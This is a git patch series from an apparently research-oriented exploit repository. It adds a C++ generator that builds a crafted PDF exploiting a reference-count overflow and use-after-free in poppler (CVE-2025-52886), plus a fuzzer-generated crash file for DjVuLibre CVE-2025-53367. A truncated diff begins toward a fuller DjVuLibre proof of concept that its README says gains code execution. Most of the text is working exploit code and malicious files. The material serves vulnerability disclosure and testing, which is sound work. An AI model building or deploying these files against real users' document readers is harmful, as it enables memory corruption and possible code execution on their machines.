create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore new file mode 100644 index 0000000..a8ff98c --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/.gitignore @@ -0,0 +1 @@ +pdfgen diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile new file mode 100644 index 0000000..989e543 --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/Makefile @@ -0,0 +1,2 @@ +pdfgen: pdfgen.cpp utils.cpp utils.h + g++ -Wall -Wextra -g -O0 pdfgen.cpp utils.cpp -lz -o pdfgen diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md new file mode 100644 index 0000000..0f480bb --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/README.md @@ -0,0 +1,25 @@ +# Proof of concept for poppler CVE-2025-52886 + +CVE-2025-52886 is a use-after-free vulnerability in +[poppler](https://gitlab.freedesktop.org/poppler), caused by a +reference count overflow. Reference counting was done with a 32-bit +counter, which meant it was feasible to overflow the counter. In my +testing, it took approximately 12 hours to overflow the counter +though, so the risk of exploitation was low. + +This directory contains the code for building the proof-of-concept. To +run it: + +```bash +make +./pdfgen > poc.pdf +``` + +Notice that the size of the generated PDF is only 3104 bytes. Now try +to either open the PDF or run a command line application like +`pdftohtml` on it. + +## Links: + +* https://gitlab.freedesktop.org/poppler/poppler/-/issues/1581 +* https://securitylab.github.com/advisories/GHSL-2025-054_poppler/ diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp new file mode 100644 index 0000000..34514db --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/pdfgen.cpp @@ -0,0 +1,626 @@ +#include "utils.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Exception class. Caught in main(). +class Error : public std::exception { + std::string msg_; + +public: + Error() = delete; // No default constructor. + explicit Error(const char *msg) : msg_(msg) {} + explicit Error(std::string &&msg) : msg_(std::move(msg)) {} + + const char *what() const noexcept override { return msg_.c_str(); } +}; + +void write_hexdigit(WriteBuf &buf, const uint8_t x) { + if (x < 10) { + buf.write_uint8('0' + x); + } else if (x < 16) { + buf.write_uint8('A' + x - 10); + } else { + throw Error("Bad hex digit"); + } +} + +void write_octal_uint8(WriteBuf &buf, const uint8_t x) { + write_hexdigit(buf, x >> 6); + write_hexdigit(buf, (x >> 3) & 0x7); + write_hexdigit(buf, x & 0x7); +} + +void write_hex_uint8(WriteBuf &buf, const uint8_t x) { + write_hexdigit(buf, x >> 6); + write_hexdigit(buf, (x >> 3) & 0x7); + write_hexdigit(buf, x & 0x7); +} + +void write_stringobj(WriteBuf &buf, const std::string &str) { + buf.write_string("("); + for (auto c : str) { + if (isprint(c)) { + buf.write_uint8(c); + } else { + buf.write_uint8('\\'); + write_octal_uint8(buf, static_cast(c)); + } + } + buf.write_string(")"); +} + +void write_nameobj(WriteBuf &buf, const std::string &str) { + buf.write_string("/"); + for (auto c : str) { + if (isprint(c)) { + buf.write_uint8(c); + } else { + buf.write_uint8('#'); + write_octal_uint8(buf, static_cast(c)); + } + } + buf.write_string(" "); +} + +void write_intobj(WriteBuf &buf, int i) { + char str[32]; + snprintf(str, sizeof(str), "%d ", i); + buf.write_string(str); +} + +void write_numobj(WriteBuf &buf, double d) { + char str[64]; + snprintf(str, sizeof(str), "%f ", d); + buf.write_string(str); +} + +void write_command(WriteBuf &buf, const std::string &cmd) { + buf.write_string(cmd.c_str()); + buf.write_string("\n"); +} + +class PDF { +public: + PDF() {} + virtual ~PDF() {} + + virtual void write(WriteBuf &buf) const = 0; +}; + +typedef std::unique_ptr PDFptr; +typedef std::vector PDFvec; + +// Utility for reading the current file offset. +class PDF_ReadPreOffset : public PDF { + const std::function f_; + const PDFptr child_; + +public: + PDF_ReadPreOffset(std::function &&f, PDFptr &&child) + : f_(std::move(f)), child_(std::move(child)) {} + + static std::unique_ptr mk(std::function &&f, + PDFptr &&child) { + return std::make_unique(std::move(f), std::move(child)); + } + + void write(WriteBuf &buf) const override { + f_(buf.offset()); + child_->write(buf); + } +}; + +// Utility for reading the current file offset. +class PDF_ReadPostOffset : public PDF { + const std::function f_; + const PDFptr child_; + +public: + PDF_ReadPostOffset(std::function &&f, PDFptr &&child) + : f_(std::move(f)), child_(std::move(child)) {} + + static std::unique_ptr mk(std::function &&f, + PDFptr &&child) { + return std::make_unique(std::move(f), std::move(child)); + } + + void write(WriteBuf &buf) const override { + child_->write(buf); + f_(buf.offset()); + } +}; + +class PDF_Int : public PDF { + const int i_; + +public: + explicit PDF_Int(int i) : i_(i) {} + + static std::unique_ptr mk(int i) { + return std::make_unique(i); + } + + void write(WriteBuf &buf) const override { write_intobj(buf, i_); } +}; + +// Like PDF_Int, except with padded output so that the number of +// characters is always the same. This is useful for integer values +// that aren't known until the second pass. +class PDF_IntF : public PDF { + const int i_; + const int w_; + +public: + explicit PDF_IntF(int i, int w) : i_(i), w_(w) {} + + static std::unique_ptr mk(int i, int w = 10) { + return std::make_unique(i, w); + } + + void write(WriteBuf &buf) const override { + char str[32]; + assert(0 <= w_ && w_ < static_cast(sizeof(str))); + snprintf(str, sizeof(str), "%*d", w_, i_); + buf.write_bytes((const uint8_t *)str, w_); + buf.write_string("\n"); + } +}; + +class PDF_Num : public PDF { + const double d_; + +public: + explicit PDF_Num(double d) : d_(d) {} + + static std::unique_ptr mk(double d) { + return std::make_unique(d); + } + + void write(WriteBuf &buf) const override { write_numobj(buf, d_); } +}; + +class PDF_Ref : public PDF { + const int num_; + const int gen_; + +public: + PDF_Ref(int num, int gen) : num_(num), gen_(gen) {} + + static std::unique_ptr mk(int num, int gen) { + return std::make_unique(num, gen); + } + + void write(WriteBuf &buf) const override { + write_intobj(buf, num_); + write_intobj(buf, gen_); + buf.write_string("R "); + } +}; + +class PDF_Cmd : public PDF { + const std::string cmd_; + +public: + explicit PDF_Cmd(std::string &&cmd) : cmd_(std::move(cmd)) {} + + static std::unique_ptr mk(std::string &&cmd) { + return std::make_unique(std::move(cmd)); + } + + void write(WriteBuf &buf) const override { write_command(buf, cmd_); } +}; + +class PDF_Name : public PDF { + const std::string name_; + +public: + explicit PDF_Name(std::string &&name) : name_(std::move(name)) {} + + static std::unique_ptr mk(std::string &&name) { + return std::make_unique(std::move(name)); + } + + void write(WriteBuf &buf) const override { write_nameobj(buf, name_); } +}; + +class PDF_String : public PDF { + const std::string str_; + +public: + explicit PDF_String(std::string &&str) : str_(std::move(str)) {} + + static std::unique_ptr mk(std::string &&str) { + return std::make_unique(std::move(str)); + } + + void write(WriteBuf &buf) const override { write_stringobj(buf, str_); } +}; + +class PDF_Comment : public PDF { + const std::string comment_; + +public: + explicit PDF_Comment(std::string &&comment) : comment_(std::move(comment)) {} + + static std::unique_ptr mk(std::string &&comment) { + return std::make_unique(std::move(comment)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("%"); + buf.write_string(comment_.c_str()); + buf.write_string("\n"); + } +}; + +class PDF_Seq : public PDF { + const PDFvec seq_; + +public: + explicit PDF_Seq(std::vector> &&seq) + : seq_(std::move(seq)) {} + + static std::unique_ptr mk(PDFvec &&seq) { + return std::make_unique(std::move(seq)); + } + + void write(WriteBuf &buf) const override { + for (auto &x : seq_) { + x->write(buf); + } + } +}; + +class PDF_Array : public PDF { + const PDFvec array_; + +public: + explicit PDF_Array(std::vector> &&array) + : array_(std::move(array)) {} + + static std::unique_ptr mk(PDFvec &&array) { + return std::make_unique(std::move(array)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("[ "); + for (auto &x : array_) { + x->write(buf); + } + buf.write_string("] "); + } +}; + +// key-value pair for a dict. +struct PDF_KV { + std::string key_; + PDFptr value_; + + PDF_KV(std::string &&key, PDFptr &&value) + : key_(std::move(key)), value_(std::move(value)) {} +}; + +class PDF_Dict : public PDF { + const std::vector dict_; + +public: + explicit PDF_Dict(std::vector &&dict) : dict_(std::move(dict)) {} + + static std::unique_ptr mk(std::vector &&dict) { + return std::make_unique(std::move(dict)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("<< "); + for (auto &kv : dict_) { + write_nameobj(buf, kv.key_); + kv.value_->write(buf); + } + buf.write_string(">> "); + } +}; + +class PDF_Stream : public PDF { + const std::vector stream_; + +public: + explicit PDF_Stream(const std::string &str) + : stream_(str.begin(), str.end()) {} + + explicit PDF_Stream(std::vector &&stream) + : stream_(std::move(stream)) {} + + static std::unique_ptr mk(const std::string &str) { + return std::make_unique(str); + } + + static std::unique_ptr mk(std::vector &&stream) { + return std::make_unique(std::move(stream)); + } + + void write(WriteBuf &buf) const override { + buf.write_string("stream\n"); + buf.write_bytes(stream_.data(), stream_.size()); + buf.write_string(" endstream\n"); + } +}; + +struct OffsetsTable { + size_t filesize_ = 0; + size_t startbody_ = 0; + size_t startxref_ = 0; + + size_t ref001_ = 0; + size_t ref002_ = 0; + size_t ref003_ = 0; + size_t ref004_ = 0; + size_t ref005_ = 0; + size_t ref006_ = 0; + + size_t stream000_start_ = 0; + size_t stream000_end_ = 0; +}; + +static const size_t XRefEntrySize = sizeof(uint32_t) + 2 * sizeof(uint64_t); + +static void writeXRefEntry(uint8_t *entry, uint32_t type, uint64_t offset, + uint64_t gen) { + *(uint32_t *)entry = htobe32(type); + entry += sizeof(type); + *(uint64_t *)entry = htobe64(offset); + entry += sizeof(offset); + *(uint64_t *)entry = htobe64(gen); +} + +static PDFptr mkAnnotOverflow(const OffsetsTable &offsets) { + const int first0 = 0; + const int len0 = 7; + const int first1 = static_cast(offsets.ref005_); + const int len1 = 1; + const int numEntries = len0 + len1; + const int streamsize = numEntries * XRefEntrySize; + std::vector stream(streamsize); + uint8_t *streamdata = stream.data(); + + writeXRefEntry(streamdata, 1, 0, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref001_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref002_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref003_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref004_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 2, offsets.ref005_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref006_, 0); + streamdata += XRefEntrySize; + writeXRefEntry(streamdata, 1, offsets.ref005_, 0); + + return PDF_Seq::mk(_vec( + PDF_Int::mk(1337), PDF_Int::mk(133713), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Size"), PDF_Int::mk(1337)), + PDF_KV(std::string("Length"), PDF_Int::mk(streamsize)), + PDF_KV(std::string("Prev"), + PDF_Int::mk(-1)), // link to next XRef table + PDF_KV(std::string("Root"), PDF_Ref::mk(1, 0)), + PDF_KV(std::string("Index"), + PDF_Array::mk(_vec( + PDF_IntF::mk(first0, 4), PDF_IntF::mk(len0, 3), + PDF_IntF::mk(first1, 4), PDF_IntF::mk(len1, 3)))), + PDF_KV(std::string("W"), + PDF_Array::mk(_vec(PDF_Int::mk(4), PDF_Int::mk(8), + PDF_Int::mk(8)))))), + PDF_Stream::mk(std::move(stream)))); +} + +static PDFptr mkContents(OffsetsTable &offsets) { + const int streamsize = + static_cast(offsets.stream000_end_ - offsets.stream000_start_); + return PDF_Seq::mk(_vec( + PDF_Dict::mk(_vec( + PDF_KV(std::string("Length"), PDF_IntF::mk(streamsize)))), + PDF_ReadPostOffset::mk( + [&offsets](size_t offset) { offsets.stream000_start_ = offset; }, + PDF_Cmd::mk("stream")), + PDF_Name::mk("kevstatearg"), PDF_Cmd::mk("gs"), + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.stream000_end_ = offset; }, + PDF_Cmd::mk("endstream")))); +} + +static const int mkAnnotArray_first = 20; + +static std::vector mkAnnotArray_ObjectStream(size_t nElements, + size_t nLayers) { + std::vector txt(mkAnnotArray_first); + + PDFptr prologue = PDF_Seq::mk( + _vec(PDF_IntF::mk(5), PDF_Int::mk(mkAnnotArray_first))); + WriteBuf buf(txt.data(), mkAnnotArray_first); + prologue->write(buf); + while (buf.offset() < mkAnnotArray_first) { + buf.write_string(" "); + } + + char reftxt[6] = {'6', ' ', '0', ' ', 'R', ' '}; + + const size_t offset = txt.size(); + txt.resize(offset + nElements * sizeof(reftxt) + 2); + uint8_t *p = txt.data() + offset; + *p++ = '['; + for (size_t i = 0; i < nElements; i++) { + memcpy(p, reftxt, sizeof(reftxt)); + p += sizeof(reftxt); + } + *p++ = ']'; + + for (size_t i = 0; i < nLayers; i++) { + std::vector tmp; + compress(tmp, txt); + txt = std::move(tmp); + } + + return txt; +} + +static PDFptr mkAnnots() { + static const std::vector annots_txt( + mkAnnotArray_ObjectStream(0x1000000, 2)); + std::vector txt = annots_txt; + const int streamsize = static_cast(txt.size()); + return PDF_Seq::mk(_vec( + PDF_Dict::mk(_vec( + PDF_KV(std::string("N"), PDF_IntF::mk(1)), + PDF_KV(std::string("First"), PDF_Int::mk(mkAnnotArray_first)), + PDF_KV(std::string("Length"), PDF_Int::mk(streamsize)), + PDF_KV(std::string("Filter"), + PDF_Array::mk(_vec(PDF_Name::mk("FlateDecode"), + PDF_Name::mk("FlateDecode")))))), + PDF_Stream::mk(std::move(txt)))); +} + +static PDFptr mkBody(OffsetsTable &offsets) { + const int numKids = 256; + std::vector kids; + for (size_t i = 0; i < numKids; i++) { + kids.push_back(PDF_Ref::mk(3, 0)); + } + return PDF_Seq::mk(_vec( + // root + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref001_ = offset; }, + PDF_Int::mk(1)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Pages"), PDF_Ref::mk(2, 0)), + PDF_KV(std::string("AcroForm"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Fields"), + PDF_Array::mk(_vec(PDF_Ref::mk(6, 0)))))) + + ), + PDF_KV(std::string("Size"), PDF_Int::mk(2)), + PDF_KV(std::string("Length"), PDF_Int::mk(1337)))), + // pages + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref002_ = offset; }, + PDF_Int::mk(2)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Pages"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Count"), PDF_Int::mk(1))))), + PDF_KV(std::string("Size"), PDF_Int::mk(2)), + PDF_KV(std::string("Count"), PDF_Int::mk(numKids)), + PDF_KV(std::string("Kids"), PDF_Array::mk(std::move(kids))), + PDF_KV(std::string("Length"), PDF_Int::mk(1337)))), + // kid + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref003_ = offset; }, + PDF_Int::mk(3)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk( + _vec(PDF_KV(std::string("Type"), PDF_Name::mk("Page")), + PDF_KV(std::string("Contents"), PDF_Ref::mk(4, 0)), + PDF_KV(std::string("Annots"), PDF_Ref::mk(5, 0)), + PDF_KV(std::string("Size"), PDF_Int::mk(2)), + PDF_KV(std::string("Count"), PDF_Int::mk(1)))), + // contents + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref004_ = offset; }, + PDF_Int::mk(4)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), mkContents(offsets), + // annots + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref005_ = offset; }, + PDF_IntF::mk(static_cast(offsets.ref005_))), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), mkAnnots(), + // widget + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.ref006_ = offset; }, + PDF_IntF::mk(6)), + PDF_Int::mk(0), PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Subtype"), PDF_Name::mk("Widget")), + PDF_KV(std::string("DV"), PDF_String::mk("kevwozere001")), + PDF_KV(std::string("V"), PDF_String::mk("kevwozere002")), + PDF_KV(std::string("Ff"), PDF_Int::mk(0xDEADBEEF)), + PDF_KV(std::string("MaxLen"), PDF_Int::mk(0xDEADBEEF)), + PDF_KV(std::string("F"), PDF_Int::mk(2)), // Annot::flagHidden + PDF_KV(std::string("Rect"), + PDF_Array::mk(_vec(PDF_Int::mk(2), PDF_Int::mk(3), + PDF_Int::mk(4), PDF_Int::mk(5)))), + PDF_KV(std::string("FT"), PDF_Name::mk("Tx")))))); +} + +static PDFptr mkXRef(const OffsetsTable &offsets) { + return mkAnnotOverflow(offsets); +} + +static PDFptr mkPDF(OffsetsTable &offsets) { + return PDF_Seq::mk(_vec( + PDF_Comment::mk("PDF-1.7"), PDF_Int::mk(4), PDF_Int::mk(0), + PDF_Cmd::mk("obj"), + PDF_Dict::mk(_vec( + PDF_KV(std::string("Linearized"), PDF_Int::mk(-1)), + PDF_KV(std::string("L"), + PDF_IntF::mk(static_cast(offsets.filesize_))), + PDF_KV(std::string("T"), PDF_Int::mk(1000000)))), + PDF_Cmd::mk("endobj"), + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.startbody_ = offset; }, + mkBody(offsets)), + PDF_ReadPreOffset::mk( + [&offsets](size_t offset) { offsets.startxref_ = offset; }, + mkXRef(offsets)), + PDF_Cmd::mk("startxref"), + PDF_IntF::mk(static_cast(offsets.startxref_)), + PDF_ReadPostOffset::mk( + [&offsets](size_t offset) { offsets.filesize_ = offset; }, + PDF_Comment::mk("%EOF")))); +} + +int main() { + try { + std::vector rawbuf(0x10000); + + OffsetsTable offsets; + + WriteBuf buf(rawbuf.data(), rawbuf.size()); + + offsets.ref005_ = 100; + // Two passes. The first pass calculates the values of filesize and + // startxref. + PDFptr pdf = mkPDF(offsets); + pdf->write(buf); + + const size_t oldfilesize = buf.offset(); + buf.reset(); + + pdf = mkPDF(offsets); + pdf->write(buf); + if (oldfilesize != buf.offset()) { + throw Error("filesize changed on second pass"); + } + + buf.write_to_fd(STDOUT_FILENO); + + return EXIT_SUCCESS; + } catch (Error &e) { + fprintf(stderr, "%s\n", e.what()); + return EXIT_FAILURE; + } +} diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp new file mode 100644 index 0000000..5de68bd --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.cpp @@ -0,0 +1,147 @@ +#include "utils.h" +#include +#include +#include +#include +#include +#include +#include + +// Write a uint8_t to starting address &buf[pos]. +size_t WriteBuf::write_uint8_at(size_t pos, uint8_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint8_t)); + buf_[pos++] = x; + return pos; +} + +// Write a uint16_t to starting address &buf_[pos] (in big endian +// order). +size_t WriteBuf::write_uint16_at(size_t pos, uint16_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint16_t)); + buf_[pos++] = (x >> 8) & 0xFF; + buf_[pos++] = x & 0xFF; + return pos; +} + +// Write a uint32_t to starting address &buf_[pos] (in big endian +// order). +size_t WriteBuf::write_uint32_at(size_t pos, uint32_t x) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= sizeof(uint32_t)); + buf_[pos++] = (x >> 24) & 0xFF; + buf_[pos++] = (x >> 16) & 0xFF; + buf_[pos++] = (x >> 8) & 0xFF; + buf_[pos++] = x & 0xFF; + return pos; +} + +// Write a block of bytes to starting address &buf_[pos]. +size_t WriteBuf::write_many_at(size_t pos, uint8_t x, size_t n) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + memset(&buf_[pos], x, n); + pos += n; + return pos; +} + +// Write a string to starting address &buf_[pos]. +size_t WriteBuf::write_bytes_at(size_t pos, const uint8_t *bytes, size_t n) { + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + memcpy(&buf_[pos], bytes, n); + pos += n; + return pos; +} + +// Write a uint8_t to starting address &buf[offset_]. +void WriteBuf::write_uint8(uint8_t x) { offset_ = write_uint8_at(offset_, x); } + +// Write a uint16_t to starting address &buf_[offset_] (in big endian +// order). +void WriteBuf::write_uint16(uint16_t x) { + offset_ = write_uint16_at(offset_, x); +} + +// Write a uint32_t to starting address &buf_[offset_] (in big endian +// order). +void WriteBuf::write_uint32(uint32_t x) { + offset_ = write_uint32_at(offset_, x); +} + +// Write a block of bytes to starting address &buf_[offset_]. +void WriteBuf::write_many(uint8_t x, size_t n) { + offset_ = write_many_at(offset_, x, n); +} + +// Write n bytes to starting address &buf_[offset_]. +void WriteBuf::write_bytes(const uint8_t *bytes, size_t n) { + offset_ = write_bytes_at(offset_, bytes, n); +} + +// Write a string to starting address &buf_[offset_]. +void WriteBuf::write_string(const char *str) { + write_bytes(reinterpret_cast(str), strlen(str)); +} + +size_t WriteBuf::offset() const { return offset_; } + +// Inserts an n-byte gap, so that the bytes can be written later. This is +// usually used for size or offset fields that need to be calculated +// later. +size_t WriteBuf::insert_gap(size_t n) { + const size_t pos = offset_; + assert(bufsize_ >= pos); + assert(bufsize_ - pos >= n); + offset_ = pos + n; + return pos; +} + +void WriteBuf::write_to_fd(int fd) { write(fd, buf_, offset_); } + +int compress(std::vector &output, std::vector &input) { + int ret; + z_stream strm; + + strm.zalloc = nullptr; + strm.zfree = nullptr; + strm.opaque = nullptr; + + ret = deflateInit(&strm, Z_BEST_COMPRESSION); + if (ret != Z_OK) + return ret; + + size_t input_pos = 0; + size_t output_pos = 0; + + strm.avail_in = input.size(); + strm.next_in = input.data(); + output.resize(0x10000); + + while (input_pos < input.size() || strm.avail_out == 0) { + assert(input_pos <= input.size()); + assert(output_pos <= output.size()); + if (output_pos == output.size()) { + output.resize(output.size() * 2); + } + + const size_t total_avail_in = input.size() - input_pos; + const size_t avail_in = std::min(0x10000, total_avail_in); + const int flush = avail_in < total_avail_in ? Z_NO_FLUSH : Z_FINISH; + strm.avail_in = avail_in; + strm.next_in = input.data() + input_pos; + strm.avail_out = output.size() - output_pos; + strm.next_out = output.data() + output_pos; + ret = deflate(&strm, flush); + assert(ret != Z_STREAM_ERROR); + output_pos = output.size() - strm.avail_out; + input_pos += avail_in - strm.avail_in; + } + assert(strm.avail_in == 0); + assert(ret == Z_STREAM_END); + output.resize(output.size() - strm.avail_out); + + (void)deflateEnd(&strm); + return Z_OK; +} diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h new file mode 100644 index 0000000..1e1b2a9 --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52886/utils.h @@ -0,0 +1,74 @@ +#pragma once + +#include +#include +#include + +class WriteBuf { + uint8_t *buf_; + const size_t bufsize_; + size_t offset_ = 0; + +public: + WriteBuf(uint8_t *buf, size_t bufsize) : buf_(buf), bufsize_(bufsize) {} + + void reset() { offset_ = 0; } + + // Write a uint8_t to starting address &buf[pos]. + size_t write_uint8_at(size_t pos, uint8_t x); + + // Write a uint16_t to starting address &buf_[pos] (in big endian + // order). + size_t write_uint16_at(size_t pos, uint16_t x); + + // Write a uint32_t to starting address &buf_[pos] (in big endian + // order). + size_t write_uint32_at(size_t pos, uint32_t x); + + // Write a block of bytes to starting address &buf_[pos]. + size_t write_many_at(size_t pos, uint8_t x, size_t n); + + // Write a string to starting address &buf_[pos]. + size_t write_bytes_at(size_t pos, const uint8_t *bytes, size_t n); + + // Write a uint8_t to starting address &buf[offset_]. + void write_uint8(uint8_t x); + + // Write a uint16_t to starting address &buf_[offset_] (in big endian + // order). + void write_uint16(uint16_t x); + + // Write a uint32_t to starting address &buf_[offset_] (in big endian + // order). + void write_uint32(uint32_t x); + + // Write a block of bytes to starting address &buf_[offset_]. + void write_many(uint8_t x, size_t n); + + // Write n bytes to starting address &buf_[offset_]. + void write_bytes(const uint8_t *bytes, size_t n); + + // Write a string to starting address &buf_[offset_]. + void write_string(const char *str); + + size_t offset() const; + + // Inserts an n-byte gap, so that the bytes can be written later. This is + // usually used for size or offset fields that need to be calculated + // later. + size_t insert_gap(size_t n); + + void write_to_fd(int fd); +}; + +// Utility for constructing a std::vector. +template +std::vector::type> _vec(Ts &&...args) { + std::vector::type> result; + result.reserve(sizeof...(args)); + int bogus[] = {((void)result.emplace_back(std::forward(args)), 0)...}; + static_assert(sizeof(bogus) == sizeof(int) * sizeof...(args)); + return result; +} + +int compress(std::vector &output, std::vector &input); From b47dd28ccc2e588c23e0c038b5cbf944ee6b8b24 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Fri, 4 Jul 2025 21:04:45 +0100 Subject: [PATCH 124/140] Fuzzer-generated poc for DjVuLibre CVE-2025-53367 --- .../README.md | 16 ++++++++++++++++ .../fuzzer-poc.djvu | Bin 0 -> 272 bytes 2 files changed, 16 insertions(+) create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/fuzzer-poc.djvu diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md new file mode 100644 index 0000000..ee17e55 --- /dev/null +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md @@ -0,0 +1,16 @@ +# Proof of concept for DjVuLibre CVE-2025-53367 + +At this time, we are only sharing @antonio-morales's original +fuzzer-generated poc, so that people can quickly test whether they're +running a vulnerable version of DjVuLibre. This poc only causes the +DjVuLibre library to crash. We are delaying publication of our more +sophisticated poc, which is able to bypass ASLR and gain code +execution. + +[Fuzzer-generated poc file](./fuzzer-poc.djvu) + +## Links: + +* https://github.blog/security/vulnerability-research/cve-2025-53367-an-exploitable-out-of-bounds-write-in-djvulibre/ +* https://www.openwall.com/lists/oss-security/2025/07/03/1 +* https://securitylab.github.com/advisories/GHSL-2025-055_DjVuLibre/ \ No newline at end of file diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/fuzzer-poc.djvu b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/fuzzer-poc.djvu new file mode 100644 index 0000000000000000000000000000000000000000..e4b6b16a05666acc322cb364789eb2710b66d03b GIT binary patch literal 272 zcmZ?s5Aw}(O!Rf}3Jdl0bMt3lU{F~8|38q@*RTJtudi#brf;jKudi>duMbuiQIZy% zn_C1@=j$89z`&^Qhy;9**ySJqHBSh)d0}w#mZu3|wb#JJ-{n68lb#2}eGH5Y4F3P! zfDU&v3G(%GNc7bMaReOQLLx${d|f Date: Fri, 18 Jul 2025 15:36:22 +0100 Subject: [PATCH 125/140] Full poc for CVE-2025-53367 --- .../DjVuLibre-poc-CVE-2025-53367.diff | 1883 +++++++++++++++++ .../README.md | 60 +- .../noble.pdf | Bin 0 -> 82468 bytes .../plucky.pdf | Bin 0 -> 82469 bytes 4 files changed, 1936 insertions(+), 7 deletions(-) create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/noble.pdf create mode 100644 SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/plucky.pdf diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff new file mode 100644 index 0000000..44151b2 --- /dev/null +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff @@ -0,0 +1,1883 @@ +diff --git a/config/acinclude.m4 b/config/acinclude.m4 +index 19b7e6e..472cf07 100644 +--- a/config/acinclude.m4 ++++ b/config/acinclude.m4 +@@ -96,8 +96,8 @@ AC_DEFUN([AC_OPTIMIZE],[ + AC_REMOVE_OPTIONS([CXXFLAGS],[-g*]) + fi + defines="-DNDEBUG" +- AC_CHECK_CC_OPT([-O3],,[AC_CHECK_CC_OPT([-O2])]) +- AC_CHECK_CXX_OPT([-O3],,[AC_CHECK_CXX_OPT([-O2])]) ++ AC_CHECK_CC_OPT([-O0],,[AC_CHECK_CC_OPT([-O0])]) ++ AC_CHECK_CXX_OPT([-O0],,[AC_CHECK_CXX_OPT([-O0])]) + cpu=`uname -m 2>/dev/null` + test -z "$cpu" && cpu=${host_cpu} + case "${host_cpu}" in +diff --git a/libdjvu/JB2EncodeCodec.cpp b/libdjvu/JB2EncodeCodec.cpp +index 8b3671c..63c70aa 100644 +--- a/libdjvu/JB2EncodeCodec.cpp ++++ b/libdjvu/JB2EncodeCodec.cpp +@@ -377,6 +377,13 @@ JB2Dict::JB2Codec::Encode::code(const GP &gjim) + for (shapeno=firstshape; shapeno= 0) +@@ -390,6 +397,13 @@ JB2Dict::JB2Codec::Encode::code(const GP &gjim) + code_record(rectype, 0, 0); + } + } ++ if (jim.encode_shape_cb) 